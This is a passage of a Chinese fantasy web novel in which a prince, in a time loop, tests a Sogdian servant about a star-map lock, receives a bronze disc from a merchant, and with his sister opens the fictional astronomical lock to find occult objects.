“北斗左旋,七星移位……天枢、天璇、天玑、**、玉衡、开阳、摇光……”他低声念着北斗七星的名讳,指尖在虚空中勾勒着梦中看到的符号旋转轨迹。“那七个符号的明灭顺序,与七星方位隐隐对应。但不止……还有更复杂的叠加变化,像是……星宿之间的连线在扭动、重组?”
他再次扑到书案前,不顾天色尚暗,点燃油灯,将记忆中那几息之间看到的符号光影、运动轨迹疯狂地记录下来。
这一次,他不再画具体的齿轮结构,而是专注于那些符号本身——它们的形态、相对位置、旋转角度、明暗周期。
“这个符号,每次都在‘天璇’与‘天玑’连线的延长线上亮起,然后沿着一条弧线滑向‘玉衡’……这个符号,始终在核心,明暗周期最短,像是……北极星?不,北极星不动,但这个在动……是‘帝星’紫微?还是……”
他陷入了一种痴迷的推演状态。阿月所说的“星辰之心”,二姐推测的“星象对应”,在这一刻得到了最直接的印证!
这把锁的核心机制,竟真与星象运转有关!这不是比喻,而是实实在在的、以机械方式模拟星辰轨迹的复杂系统!
“璇玑……璇玑……北斗七星,谓之璇玑。运转于天,纲纪群星。”周昕阳眼中光芒大盛,“原来如此!这把锁的终极密钥,或许并非单纯的数字或物理序列,而是一套——星图!一套随时间、方位变化的动态星图!”
这个发现让他浑身战栗。
如果密钥是星图,那么破解的关键,就在于找到对应此刻、此地的正确星象排布,并将锁芯内部的“星图”调整到与之吻合!这解释了为何变化组合如此之多——星辰运转,时刻不同!
但随之而来的是更深的疑惑:星图密钥如何验证?锁具如何“知道”外界的星象?难道……锁体本身能感应天象?或者,需要输入特定的日期、时辰、乃至经纬方位?
他想起了锁体上那些看似装饰的、繁复到极致的纹路。之前只当是奇门排布,如今看来,其中是否暗藏了星宿分野、二十八宿的图样?还有“归零标记”……那或许不是简单的起始点,而是对应于某个特定历法基准点的“星图原点”!
思绪如电,无数猜想喷涌而出。但梦境已经结束,他无法立刻验证。现实的时间却在流逝。
窗外,天色已大亮。江雾散去,两岸景色逐渐清晰,远处已能看到零星帆影和依稀的码头轮廓。泽口堰,快到了。
周昕阳强迫自己从激动的推演中抽离。他迅速收起画满星图符号的纸张,妥善藏好。现实中的棋局同样到了关键时刻。
他洗漱更衣,用过早膳,神情已恢复平日的沉静,只是眼底深处,多了一丝难以察觉的锐利与期待。
“沈大人,今日何时可抵泽口堰?”他走到舱外,对如影随形的沈砚问道。
“回王爷,若无意外,午后未时便可抵达。”沈砚回答,目光看似平常地扫过周昕阳的脸,“王爷可是要召阿月姑娘继续授课?抵达之前,尚有些时间。”
“嗯。”周昕阳点点头,“便让她来吧。昨日提及西域星象之说,孤颇觉新奇,正好再请教一二。”
他要利用这最后一段航程,对阿月进行最后一次,也是最直接的试探!
关于“星辰”,关于“璇玑”,关于萨迪克商会可能隐藏的秘密。
巳时,前甲板。
阿月依旧恭顺而立。但周昕阳敏锐地察觉到,她今日的气息似乎有些不同。
依旧沉静,但那份沉静之下,仿佛多了一丝几不可察的紧绷,如同弓弦将发未发之时的凝定。
她的目光在垂眸时,似乎极其短暂地扫过周昕阳的面庞,比以往多了半分难以言喻的深意。
周昕阳心中微动,面上不显,如常开始教学。他先问了几个关于粟特语中天文星象词汇的问题,阿月一一作答,并无异常。
接着,周昕阳仿佛随意闲聊般说道:“昨日听你提及‘星辰之心’一说,孤回去思索,觉得甚妙。天地造化,星移斗转,自有
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其理。却不知,在你们西域商贾看来,这星辰流转,可会预示吉凶?或是……指引方向?”
他再次将话题引向星辰的“预示”与“指引”功能,试探阿月是否了解星象占卜或导航之术。
阿月沉默了片刻,这次没有回避,而是缓缓答道:“回王爷,西域诸国,确有观星以辨方位、定节气之传统。沙漠瀚海,路途茫茫,星辰便是最可靠的向导。至于预示吉凶……信者自信。敝商会行走四方,更重实际,观星多为确定商队位置与行程。”
回答依旧谨慎,但提到了“向导”和“确定位置”,这隐隐与周昕阳关于“星图密钥”的猜想产生了呼应。
周昕阳趁热打铁,但语气更加飘忽,仿佛在抒发感慨:“星辰为导,甚好。可惜中原宫阙深深,有时见星不易。譬如孤那日在宫中,偶见一奇异小匣,其上竟镂刻北斗七星之图,甚是精巧。听闻其内机关,亦按星辰轨迹布置,玄妙非常,却不知如何开启。这等奇物,想必西域亦属罕见吧?”
他不再遮掩,几乎明示了“机关匣”、“北斗七星”、“按星辰轨迹布置”这几个关键信息!目光紧紧锁住阿月的眼睛。
阿月的身体几不可察地微微一震。虽然她立刻控制住,垂下了眼帘,但那一瞬间瞳孔的细微收缩和呼吸的短暂凝滞,没有逃过周昕阳的眼睛!面纱之下,她的脸色想必也变了。
这一次,她沉默了更久。久到旁边的沈砚都似乎察觉到了一丝异样,目光在周昕阳和阿月之间多停留了一瞬。
“王爷……”阿月终于开口,声音比平时更低,更缓,带着一种奇异的、仿佛在斟酌每一个字的重量,“奴婢……见识浅陋。王爷所述之物,精妙绝伦,闻所未闻。星辰轨迹,浩渺难测,以人力机括摹之……实乃鬼神之工。此等器物,恐非凡间应有,或……或涉禁忌。奴婢不敢妄言。”
她的回答避实就虚,但提到了“鬼神之工”、“恐非凡间应有”、“或涉禁忌”!
这几乎是在变相承认,她知道这类东西的存在,且深知其不凡与危险!
最后那句“不敢妄言”,更是充满了无奈与警告的意味。
第116章 神秘的阿月
周昕阳的心跳加速了。他得到了想要的反应!
阿月不仅知道,而且很可能了解内情!她的背后,绝对不简单!
他见好就收,不再逼迫,转而叹息道:“是么?看来是孤陋寡闻了。罢了,这等玄奇之物,不知也罢。今日便学到这里吧。”
他示意课程结束,赏了阿月,看着她依旧恭顺、却仿佛背负了千斤重担般缓缓离去的背影,眼中光芒闪烁。
就在这时,一名宸察卫快步上前,在沈砚耳边低语几句。沈砚眉头微蹙,转身对周昕阳禀报:“王爷,泽口堰码头在望。前方有萨迪克商会的旗号,其主事之人请求登船拜见王爷,呈递通关文书与贡品礼单。”
终于来了!
周昕阳·精神一振。萨迪克商会的主事者!这或许是他接触商会核心、乃至验证阿月身份的关键机会!
“准。”周昕阳沉声道,“引至前厅相见。孤稍后便到。”
“是。”
周昕阳回到舱室,略作整理,脑海中飞速盘算。商会主事此来,是例行公事,还是别有目的?阿月刚刚经历那番试探,商会此时求见,是巧合,还是……某种回应?
他整理衣冠,面色沉静地走向前厅。无论对方来意如何,这都是一次重要的接触。他或许能从中窥见萨迪克商会的真实面目,甚至……找到那把连接梦境与现实、机关与星辰的隐秘钥匙。
前厅之中,一位身着华丽粟特锦袍、头戴绣金小帽、蓄着浓密卷髯的中年胡商已然等候,其身后跟着两名随从,手捧礼盒。见到周昕阳,胡商立刻以手抚胸,躬身行礼,一口流利的中原官话:“萨迪克商会泽口堰管事,优素福,拜见尊贵的泽川王殿下。愿殿下安康,福泽绵长。”
“优素福管事不必多礼。”周昕阳抬手示意,目光平静地打量着对方。此人眼神精明,举止得体,是典型的成功大商人模样。
优素福恭敬地呈上文书和礼单,说了一番仰慕天朝、感谢王爷照拂商会侍女(指阿月)的客套话。周昕阳敷衍地应和着,心思却不在这些表面文章上。
就在优素福准备告退时,他似乎不经意地提了一句:“……听闻殿下对西域风物颇感兴趣,小人甚是荣幸。商会近日刚从极西之地运来一批新奇货物,其中有一件小玩意儿,据说是古时智者观星测象所用之器残件,结构颇为奇异。殿下若得闲暇,小人愿献于殿下赏玩,或能博殿下一笑。”
观星测象之器残件?结构奇异?
周昕阳的心猛地一跳!
来了!
果然有回应!
而且如此直接,指向“星辰”与“奇异结构”!
他面上不动声色,只是略显好奇:“哦?竟有此事?孤对机巧之物确有些兴致。是何模样?”
优素福连忙比划道:“是一个巴掌大小的铜制圆盘,上面刻满细密符号与交错线条,似星图又非星图,中心有一可转动的小枢,但已锈死。其背面的卡榫结构,与我等常见器物迥异,商会中老师傅亦看不明白。只知是商队从更西边一座废弃古庙的祭坛下偶然所得,年代似极久远。”
巴掌大的铜制圆盘,刻满符号线条,中心有可转动的小枢,背面卡榫结构迥异……周昕阳的呼吸几乎停滞!这描述……与“璇玑枢”的核心组件何其相似!虽说是残件、锈死,但若能得到,与梦境中所见符号、二姐的图纸相互印证……
“听来倒有趣。”周昕阳压下心中惊涛,语气依旧平淡,“既是你一片心意,孤便瞧瞧。东西可在船上?”
“在的在的!”优素福连连点头,“小人这便让人取来!”
很快,一个古朴的木盒被呈上。打开,红绸衬底上,静静躺着一枚色泽暗沉、布满绿锈的青铜圆盘,仅有掌心大小,却散发着一种古老神秘的气息。
周昕阳接过,入手沉甸甸。他仔细看去,圆盘正面果然密布着极其纤细、排列规律的刻痕与符号,许多符号的形态,竟与他梦中所见、纸上所绘的“璇玑枢”核心符号有五六分相似!
中心处,一个微小的凸起,果然是某种轴枢结构,但已被铜锈死死咬住。
翻转背面,则是更加复杂、层层嵌套的微型卡榫与凹槽,工艺之精,匪夷所思。
就在他的指尖拂过圆盘边缘一处不起眼的卷草纹时,指尖忽然传来一丝极其微弱的、几乎难以察觉的酥麻感,仿佛有静电掠过。
与此同时,他眼角的余光似乎看到,圆盘中心那锈死的轴枢根部,有一丝比头发丝还细的银蓝色微光,极其短暂地闪烁了一下,随即消失。
周昕阳瞳孔骤缩!银蓝色!与梦境中“璇玑枢”符号的光芒、与那只虚幻蝴蝶的光影,同一种颜色!
这不是巧合!
他强忍着立刻深入研究的心,缓缓合上木盒,看向优素福,脸上露出一丝恰到好处的欣赏:“确是一件古物,颇有趣味。优素福管事有心了。此物,孤收下了。”
“殿下喜欢,是小人的荣幸!”优素福笑容满面,再次行礼,“商会已在泽口堰备下薄宴,为王爷接风洗尘,
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不知王爷……”
“孤有些乏了,宴席便免了。”周昕阳摆摆手,语气不容置疑,“优素福管事的好意,孤心领了。你且下去吧,贡品之事,按章程办理即可。”
“是,是,小人告退。”优素福不敢多言,恭敬退下。
前厅内只剩下周昕阳和沈砚几人。周昕阳握着那小小的木盒,感觉重若千钧。他知道,这不仅仅是一件“有趣的古物”,这很可能是萨迪克商会——或者说,阿月背后的人——递过来的一张牌,一个试探,或者……一把钥匙。
沈砚的目光落在木盒上,眼神深沉,不知在想什么。
“回舱。”周昕阳不再多言,转身离开。
回到舱室,紧闭房门。周昕阳立刻将青铜圆盘取出,放在桌上,就着明亮的舷窗光线,细细审视。他越看越是心惊,那些符号的排列规律、背后的卡榫联动原理,虽然袖珍简化了无数倍,但其设计思路,与东宫那把“璇玑枢”锁绝对同出一源!
这圆盘,很可能是一件更古老、更原始的“璇玑”核心部件,或者是某种便携式的星图推算仪器!
萨迪克商会怎么会有这东西?
他们与墨家遗族,与这机关锁,到底什么关系?阿月在其中的角色又是什么?
更重要的是,刚才那一闪而逝的银蓝微光……这圆盘,难道并非完全死物?在特定条件下,还能被激活?
无数疑问翻腾。但周昕阳知道,他现在没有时间深究。
墨蛟号已经靠岸,泽口堰到了。
接下来的陆路行程,进入河洛平原,靠近京城,沈砚的监控只会更严,变数也会更多。
他必须利用在泽口堰短暂停留的时机,理清思路,决定下一步行动。
他将圆盘小心收好。
指尖似乎还残留着那微弱的酥麻感。
夜幕再次降临。周昕阳躺在舱中,手中握着那枚冰冷的银壳怀表。表盖弹开,指针滴答,走向那个熟悉的刻度。
无论现实如何纷扰,梦境的战场,他必须再次进入。有了青铜圆盘的线索,有了对星图密钥的猜想,有了前几次积累的经验……下一次循环,或许就是揭开“璇玑枢”最后秘密的时刻!
他闭上眼睛,任由困意与期待将自己吞没。
黑暗,混沌,流光,星河……
再次睁开眼时,东宫偏殿的景象如期而至。
但这一次,周昕阳的嘴角,带着前所未有的、笃定而冰冷笑意。
“这一次,我一定能够打开它。”
“这最后一把锁。”
第117章 这一轮的开锁
周昕阳站在东宫偏殿中央,手中无意识地摩挲着那枚并不存在于这个梦境中的、冰冷的银壳怀表表壳轮廓,目光如电,扫过眼前熟悉的一切——焦躁的锁匠、沉默的冷千嶂、那巨大的漆黑铁箱,以及箱上那第四把交织锁链、纹路幽深的机关铜锁。
但这一次,他的心境与以往任何一次都截然不同。不再有初见的迷茫,不再有屡次失败的焦躁,甚至不再有对死亡的恐惧。
有的,只是一种冰封般的冷静,和胸中那团因接近真相而熊熊燃烧的、名为“笃定”的火焰。
阿月的“星辰之心”,优素福献上的青铜圆盘,二姐关于星象对应的推测,前几次循环中用“命”换来的符号轨迹与光影数据,以及那最终惊鸿一瞥的残缺星图……所有支离破碎的线索,在他脑海中疯狂旋转、碰撞、拼合,最终,指向了同一个璀璨而致命的终点——
星辰为钥,璇玑是锁。
“冷千户,”周昕阳的声音平静无波,却带着不容置疑的力量,“立刻备车,孤要进宫面圣,有十万火急之事禀报。”
流程再次启动,但速度远超以往。
养心殿中,昭明帝甚至没等周昕阳说完那套“愿为父皇分忧”的陈词,在他亮出“皇后可能知晓太子私造龙袍玉玺”这一王牌后,那枚沉甸甸的“如朕亲临”金牌便已落入周昕阳手中。
“儿臣,定不负父皇所托!”周昕阳大礼**,起身时眼中锐光一闪。
这一次,他连去熾璋宫逼问皇后都省了——玉玺龙袍的藏匿地点早已烙印在心。他直接对迎上来的冷千嶂下达了最简洁的命令:“持我令牌,立刻秘密调一队绝对可靠之人,前往大慈恩寺,按这个位置起获证物,不得有误!另,派人监控长孙府,调阅其相关卷宗。速去!”
“是!”冷千嶂领命疾去。周昕阳则毫不停留,转身直奔皇家藏书馆。
他知道,时间,前所未有的宝贵。
这一次循环,他必须毕其功于一役!
藏书馆静室,灯火如豆。
当周昕阳手持金牌,带着一身夜寒与决绝闯入时,周灵薇正对着一卷摊开的星图古籍蹙眉沉思。
见到周昕阳,她眼中讶色一闪,但随即被某种预感般的凝重取代。
“二姐,”周昕阳没有半句寒暄,直接将那卷他凭借记忆绘制的、更加详尽的“璇玑枢”星图符号变化轨迹图,以及根据青铜圆盘符号临摹、补充的几张新草图,铺在了周灵薇面前的书案上:“有件事,我希望你能帮我……”
周灵薇的目光落在那些复杂精妙的轨迹线与陌生又熟悉的符号上,瞳孔瞬间收缩。
她几乎是扑到了图前,纤细的手指颤抖着拂过那些线条,口中无意识地低喃:“这是……北斗左旋,辅弼隐现……紫微垣动,二十八宿列张……这、这不是静态星图,这是……星象运转的某个特定时刻的‘切片’!还有这些符号的对应关系……天啊,老九,你从何处得来此图?!”
“来不及解释来源了,二姐。”周昕阳语气急促而坚定,“你只需知道,此图可信。这把‘璇玑枢’锁,其终极密钥,并非固定序列,而是一套对应特定天象时刻的动态星图!锁芯内部的那些发光符号,便是微缩的‘星宿’,其排列、运动、明暗,需与外界真实天象,在某个设定的历法基准点下,达成精确同步,方能解锁!”
“这天下,唯有二姐你能帮我打开这把锁!!”
周灵薇倒吸一口凉气,猛地抬头,眼中爆发出骇人的精光:“星图密钥!动态同步!难怪……难怪其变化组合近乎无穷!因为星辰时刻在动!但……但锁具如何感知天象?又如何验证同步?”
“锁体表面的那些繁复纹路,”周昕阳指向图上几处对应的标注,“并非单纯装饰或奇门排布,我怀疑其中暗藏了极其精密的、用以感应特定星宿方位或天光变化的微型机关,或者……是输入‘基准点’的接口。还有那‘归零标
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记’,它很可能对应着这套星图密钥的‘历法原点’——比如,某个特定的年月日时,乃至经纬方位!”
他拿起炭笔,在星图旁边快速写下几个数字和符号,那是他根据青铜圆盘上的刻痕、锁体纹路规律,以及几次试探中“归零标记”反馈的信息,反向推演出的可能“原点”参数。“二姐,你看,若以‘天祐七年,甲子,冬至,子正,中天为紫微’为原点,结合今夜此刻的实际星象,进行反向推演计算……”
周灵薇的目光死死盯住那些参数,大脑以惊人的速度开始运转。
她一把抓过旁边的算筹和纸笔,口中念念有词,指尖飞速划动,进行着复杂的星象推演与机械联动换算。
时间在令人窒息的静默中飞速流逝。只有炭笔划过纸张的沙沙声,算筹碰撞的轻微脆响,以及两人越来越急促的呼吸声。
不知过了多久,周灵薇猛地停下笔,抬起头,脸色因极度专注和兴奋而泛起潮红,但眼神却亮得吓人:“老九!算出来了!如果你的原点推测无误,以今夜此刻的星象为参照,要打开此锁,需要将锁芯内部的‘星图’,调整到与‘三个月前,上巳日,黄昏,北斗斗柄指东,轩辕十四位于中天偏南三度’时的天象完全吻合!”
她快速在纸上画出一个复杂的、由数十个符号节点和联动线路构成的“目标星图”,以及从当前锁芯可能状态调整到目标状态的、一系列极其精密的操作步骤。“看,先要解除‘归零标记’的相位锁定,然后,按照北斗左旋的顺序,依次调整这七个主符号的角度和明暗,每一步都必须对应星宿的实际赤经赤纬差……同时,要避开这几处与**触发装置直接联动的‘凶星’相位……”
她的推演严谨、清晰,每一步都标注了风险等级和允许的误差范围。虽然依旧复杂到令人头皮发麻,但比起之前盲人摸象般的数百万种组合,这已经是清晰无比、有迹可循的破解路线图!
第118章 四成把握
“有几成把握?”周昕阳沉声问,心脏在胸腔中狂跳。
“若原点无误,推演无误,且操作能达到图纸要求的精度,”周灵薇深吸一口气,伸出五指,然后缓缓收起拇指,“四成。但这是理论上。实际操作,尤其是调整符号角度和明暗的微操,需要妙到毫巅的控制,任何一丝颤抖或误差,都可能前功尽弃,甚至触发机关。”
四成!
一个在绝境中足以让人豁出一切去搏的概率!
“足够了。”周昕阳斩钉截铁,眼中燃烧着破釜沉舟的火焰,“二姐,我们开始吧。我们没有退路。”
东宫偏殿,再次被最明亮的灯火照得如同白昼。无关人等已被彻底清空,只余周昕阳、周灵薇,以及两名举灯的心腹内侍。
那漆黑的铁箱与森冷的铜锁,静静矗立,在强光下,锁体表面那些繁复的纹路仿佛活了过来,流转着幽暗的光泽,中心区域那几个奇异符号所在的位置,在特定角度下,隐隐有微不可察的银蓝反光。
周灵薇已换上了一身利落的窄袖衣衫,长发紧紧绾起。她面前摊开着那张刚刚推演出的“目标星图”和操作步骤图,旁边是她那套精密到极致的工具。她闭目凝神,调整呼吸,整个人进入一种物我两忘的绝对专注状态。
周昕阳则稳如磐石地举着最强的琉璃灯,光束死死锁定锁芯区域,同时全神贯注,准备记录和预警。
“第一步,验证并解除‘归零标记’相位锁。”周灵薇睁开眼,眸光清澈冰冷如寒潭。
她拿起一根带有超细钩爪和微型反光镜的复合探针,以肉眼几乎难以分辨的缓慢和稳定,探向锁体侧面那个隐蔽的凹陷。
她的动作比以往任何一次都更慢,更稳,仿佛时间在她指尖被拉长。
探针的钩爪轻轻勾住凹陷边缘一个细微的凸起,反光镜调整角度,将内部结构投射·出来。
同时,她的指尖通过探针,感受着内部机括最微弱的反馈。
“标记状态……与推测原点偏移‘甲三’相位,吻合。开始解除……”
她的手腕以无法形容的精妙幅度,缓缓旋转、提拉。没有声音,只有通过探针传来的、极其细微的、仿佛冰层断裂般的“感觉”。
“咔。”一声轻到极致的、几乎不存在的机括松动声。
成了!第一步,成功!
周灵薇额角已见汗,但她眼神丝毫未动,迅速收回探针,换上另一根顶端带有微型偏心拨杆的工具。“第二步,调整‘天枢’符相位,左旋七度又三分……”
她依据星图,开始对锁芯内部那些发光的符号进行精密的定向微调。
这不是暴力扭转,而是以一种契合其内部齿轮啮合规律的、引导式的力道,轻轻拨动某个隐藏的联动点,让符号自身在预设的轨道上缓慢旋转。
每一个符号的调整,都需要数息时间,需要对抗内部预应力的微弱反抗,需要时刻警惕可能出现的“反逻辑陷阱”反馈。
周灵薇的呼吸几乎停止,全部心神都凝聚在指尖那方寸之间。汗水顺着她的鬓角、鼻尖滑落,她也恍若未觉。
周昕阳在一旁,死死盯着锁芯。
他看到,随着周灵薇的操作,那些原本黯淡或位置偏离的符号,开始一个接一个地,极其缓慢地移动、旋转,并逐渐亮起稳定的、银蓝色的微光!光芒的强度、颜色,与梦境中所见一般无二!
北斗七星,天枢、天璇、天玑、**、玉衡、开阳、摇光……七个主符号依次归位,亮起!
辅弼星、紫微星、轩辕十四……周围更复杂的符号也随之明灭、移位!
一张微缩的、璀璨的、正在按照特定规律运转的星图,在锁芯深处逐渐清晰、完整!
殿内静得可怕,只有灯花偶尔的爆响,和两人压抑到极致的心跳与呼吸声。
时间一点点过去,星图越来越完整,距离“目标状态”越来越近。
然而,就在周灵薇开始调整最后一组、也是最复杂的“二十八宿”边缘联动符号时,异变突生!
那枚代表“角宿”的符号,在移动到预定位置前半分时,突然猛地一滞,接着,不受控制地向反方向弹动了几乎无法察觉的一丝!
与此同时,锁体深处传来“嗒”一声轻响!与上次触发“反逻辑陷阱”前的声音一模一样!
“不好!边缘宿度联动有隐藏陷阱!”周灵薇脸色瞬间煞白,但她的反应快到了极致!
几乎在符号弹动的瞬间,她手中的工具已如电般换了个角度,不是去阻止,而是顺着那弹动的方向,施加了一个更微弱、但方向略有偏差的横向引导力!
“吱嘎——”一声令人牙酸的、金属轻微扭曲摩擦的声音从锁芯传来。
那枚“角宿”符号在错误的弹动和巧妙的引导下,划出一道诡异的弧线,竟然险之又险地绕过了那个预设的死亡触发点,落在了另一个……图纸上未曾标注、但此刻看来逻辑自洽的凹槽内!
银蓝色的光芒剧烈闪烁了几下,随即稳定下来。整个星图的运转,虽然与预设的“目标状态”产生了极其细微的偏差,但似乎……自成一体,达成了一种新的、脆弱的平衡!
周灵薇大口喘着气,后背
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已被冷汗浸透。她死死盯着那略有偏差的星图,脑中飞速计算。
“老九……最后一步,有变。‘角宿’偏移,引发连锁,目标星图需做微调……新平衡点在此!”她以颤抖的手,快速在图纸上标出一个新的位置,“需要立刻将‘轸宿’符号调整到与之对应的‘翼火蛇’次度,才能完成最终闭环!但这一步……我只有三成把握,且一旦出错,连锁反应会直接引爆所有**!”
生死抉择,就在眼前。
周昕阳看着锁芯中那幅璀璨而危险的星图,又看向二姐苍白却决绝的脸。
他没有丝毫犹豫。
“二姐,信你。也信这星空。”他声音沙哑,却带着磐石般的坚定,“动手。”
周灵薇深深看了他一眼,那一眼中,有感动,有决绝,更有一种对至高技艺的虔诚。
她拿起最后一根,也是最短、最细的乌金探针,蘸上特制的润滑剂,将其对准了那个决定生死的“轸宿”符号联动点。
她的手腕稳定得不像人类。
探针以超越人类感知的精度,探入,触碰,感受,然后——以一道完美契合新计算轨迹的、微不可查的弧线,轻轻一拨。
“叮……”
一声清脆如铃、悦耳如天籁的机括咬合声,从锁体最深处传来。
紧接着——
“咔嚓、咔嚓、咔嚓……”
一连串流畅、和谐、仿佛星辰运转般充满韵律感的齿轮啮合与卡榫归位声,如同潮水般响起!
锁芯中,那幅残缺的星图瞬间补全!
所有符号光芒大盛,银蓝色的光华流转不息,按照一种玄奥无比的规律缓缓旋转,仿佛将一片真实的、微缩的璀璨星空,封印在了这方寸之间!
“轰隆——!”
一声闷响,并非**,而是那第四把交织着锁链的、森冷诡谲的机关铜锁,内部所有机关彻底解除,锁舌自动弹开的声音!
紧接着,那缠绕铁箱的粗大锁链,也如同失去生命的巨**,哗啦啦自行脱落,委顿于地。
第四把锁,开了。
铁箱,就在眼前。
周昕阳和周灵薇站在原地,一时间竟有些恍惚。成功了?真的……成功了?
没有**,没有死亡,只有那静静敞开的锁具,和箱盖上失去束缚后、仿佛轻轻松动了一线的缝隙。
周昕阳缓缓走上前,伸出手,按在那冰冷沉重的箱盖上。他能感觉到,里面那困扰他十年、引发无数血雨腥风的秘密,已然触手可及。
他转过头,与同样激动难抑的二姐对视一眼。
然后,用力,掀开了箱盖……
第119章 开箱
“这是……?!”
预料之中可能出现的、与太子谋逆直接相关的龙袍玉玺等罪证并未现身,取而代之的,是几样同样透着诡异、神秘与不祥气息的完整物件,静静地躺在厚实的黑色丝绒衬垫之上。
箱内弥漫着一股淡淡的、混合了陈年木料、冷铁、奇特香料以及某种难以言喻的、仿佛来自地底深处的阴冷气息。
目光首先被吸引的,是正中那样物品——
那是一个约半尺高、制作得栩栩如生的人形偶。它并非泥土或木料所制,通体呈现出一种暗沉如老玉、又隐隐泛着蜡质光泽的奇异材质,触手必然温凉。
人偶的五官模糊,没有刻画具体面貌,却给人一种正在沉睡或凝滞的诡异感觉。它穿着裁剪合体的、绣有繁复暗纹的微型衣袍,样式古老,非今时之制。最令人心悸的是,在它的胸口心窍位置,并非衣物覆盖,而是直接被一枚长约两寸、色泽暗红近黑、不知是何金属打造的长钉,深深钉入!
长钉造型古朴,钉身隐约有扭曲的刻痕,钉帽则是一个狰狞的鬼面浮雕。
人偶以双手交叠覆于腹前的姿态安放,而那枚透心长钉,便从它交叠的手背上方贯入,直没至柄,仿佛将某种无形的“魂灵”死死钉在了这具躯壳之内。
一股阴寒刺骨的恶意,即便隔着距离,也隐隐从这人偶身上散发出来。
“钉魂镇物……”周灵薇的声音带着压抑的惊悸,“而且是最高规格的‘七煞锁心钉’!以此钉钉入对应生辰八字、以秘法炼制的‘身偶’,可咒人生魂,断其气运,乃至……操控心神于无形!此等阴毒之物,早已被历代禁绝!”
周昕阳目光冰冷,移向人偶旁边。
那里放着一个巴掌大小、呈不规则多边形的青铜盘。
盘体厚重,表面并非光滑,而是布满了细如发丝、纵横交错、深浅不一的凹槽与刻线,这些线条并非随意雕琢,而是构成了极其复杂的、层层嵌套的几何图形与星象符号。
在铜盘的中心,有一个微微凸起的、可以三百六十度旋转的袖珍轴枢,轴枢周围环绕着数圈可以独立或联动微调的同心圆环,环上同样密布刻度与更微小的符号。
一些关键的节点和线条交汇处,镶嵌着米粒大小、颜色各异的宝石碎末或奇异晶体,在灯光下反射着幽微的光。整个铜盘,就像一件极度精密的、用于演算星辰轨迹或复杂阵图的便携式仪器,与“璇玑枢”锁有着异曲同工之妙,但更侧重推演与记录。
“星纹推演盘……”周灵薇辨认着上面的部分符号,语气凝重,“看这些星宿标记和地脉纹……这不仅仅是观星仪,更像是用来计算特定地点、特定时辰的‘天地气场交汇点’,或者说……是布置、激活某种需要天时地利配合的大型机关或阵法的……‘**’与‘计时器’!”
第三样物品,是几块形状规整、但边缘带有榫卯接口的深色金属板。金属非铜非铁,质地极为细密沉重,颜色暗沉如夜,表面打磨得极其光滑,倒映着灯火,却仿佛能将光线吸收。
金属板的内侧,蚀刻着与青铜盘、机关锁符号同源的、更加复杂密集的回路与节点图案,有些节点处还有细微的凹点,似乎原本镶嵌过什么。这些金属板单独看不出所以然,但若是组合起来,很可能是某个更大、更复杂装置的核心部件或“基板”。
“这材质……从未见过。”周灵薇用工具轻轻敲击,声音沉闷短促,“似金非金,似玉非玉,坚不可摧,又能完美传导某种能量或指令……是制作顶级机关核心的绝佳材料。”
第四样,则是一个以同样奇异金属打造、但工艺更为古朴的扁平方匣,大小正好能托在掌心。
匣盖紧闭,严丝合缝,表面光滑如镜,没有任何锁孔或缝隙,唯有中心位置,阴刻着一个与“璇玑枢”核心图腾相似、但更为简洁抽象的徽记。周昕阳尝试用力,匣盖纹丝不动,仿佛是一个整体。
“无缝匣……通常是用来保存最紧要、最忌讳泄露之物的。”周灵薇仔细观察着匣子表面和边缘,“看这打磨工艺和闭合方式,需要特殊的手法或‘钥匙’才能开启,强行破坏,恐怕会损及内藏之物,甚至触发自毁。”
第五样,也是最小的一样,是一个不及拇指高、以整块暗青色玉石雕琢而成的小瓶。玉质温润,却透着寒意。瓶身浑圆,瓶口细小,以同样材质的玉塞封住。
玉塞与瓶口浑然一体,几乎看不到缝隙。透过半透明的玉壁,隐约可见里面晃动着小半瓶浓稠如蜜、色泽暗红近黑的液体。
玉瓶被小心地放置在一个凹陷的软垫中,旁边还散落着几片早已干枯、但形状奇特、颜色暗紫的花瓣和两枚锈迹斑斑、形制古老的铜钱。
“血髓玉瓶……还有,这是冥罗花?
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早已绝迹的毒草!”周灵薇的脸色更加难看,“这瓶中所盛,恐怕是混合了多种极端材料的‘引子’或‘媒介’。而这些铜钱……看锈色和纹路,是前朝厌胜钱,专用于邪术仪轨!”
除此之外,在箱盖内侧,与黑色丝绒衬垫缝合得极其隐秘的夹层里,周昕阳还摸到了一个薄薄的、以油布包裹的扁平物件。
取出打开,里面是一张绘制在某种轻薄兽皮上的地图,以及几页写满蝇头小楷、夹杂着奇异符号的泛黄纸张。
地图所绘地形诡异,并非当世任何已知地域,山川走向、河流分布都透着不协调感,一些关键位置标注着星辰符号和与青铜盘上类似的节点标记。
而那几页纸张,开头是一些关于星象、地脉、机关联动的深奥论述,中间则记录了某种复杂仪式的准备步骤和所需材料,其中多项与箱中物品描述吻合,最后则是一段字迹潦草、充满狂热与警示意味的记述,提到了“璇玑遗迹”、“地脉之眼”、“逆夺造化”等语焉不详的词汇,以及一个反复出现的、令人不安的代称——“祂”。
箱中之物,无一与“谋逆”直接相关,却件件指向了更加幽深、更加危险的领域——失传的禁忌巫蛊、诡谲的机关星象、神秘的前朝遗迹,以及某种难以言说的、仿佛触及了某种禁忌界限的企图。
周昕阳和周灵薇站在敞开的铁箱前,最初的激动早已被沉重的寒意取代。
他们打开的不是罪证的宝藏,而是一个更加庞大、更加黑暗的谜团核心。
太子收集这些想做什么?
他背后,是否还有更了解这些东西、甚至能运用它们的人?
萨迪克商会献上的青铜圆盘,与这箱中的星纹推演盘,分明是同源之物!阿月……
而那个被“七煞锁心钉”钉死的偶人,它所对应的是谁?是诅咒的对象,还是……**控的“傀儡”?
周昕阳的目光,最后落在那枚冰冷的钉魂偶和旁边诡异的玉瓶上,又看向手中那张指向未知之地的兽皮地图。
怀表在怀中安静无声,但表盘上那向前一格的指针,仿佛在无声诉说着,命运的齿轮已然咬合,将他拖入了一个远比宫廷倾轧更加深邃恐怖的漩涡。
铁箱之谜,方才真正揭开冰山一角。
而箱中这些完好却邪异的物件,如同一个个沉默的引信,连接着更远处、更黑暗的雷霆。
第120章 开箱结果
周昕阳和周灵薇站在敞开的铁箱前,最初的激动早已被沉重的寒意取代。他们打开的不是罪证的宝藏,而是一个更加庞大、更加黑暗的谜团核心。
殿内灯火通明,却驱不散箱中物件散发的阴冷诡谲之气。那枚被“七煞锁心钉”贯胸的偶人仿佛在无声哀嚎,青铜盘上的星纹幽光流转,无缝方匣沉默如谜,玉瓶中的暗红液体粘稠不祥,枯萎的花瓣与厌胜钱更添几分死寂。
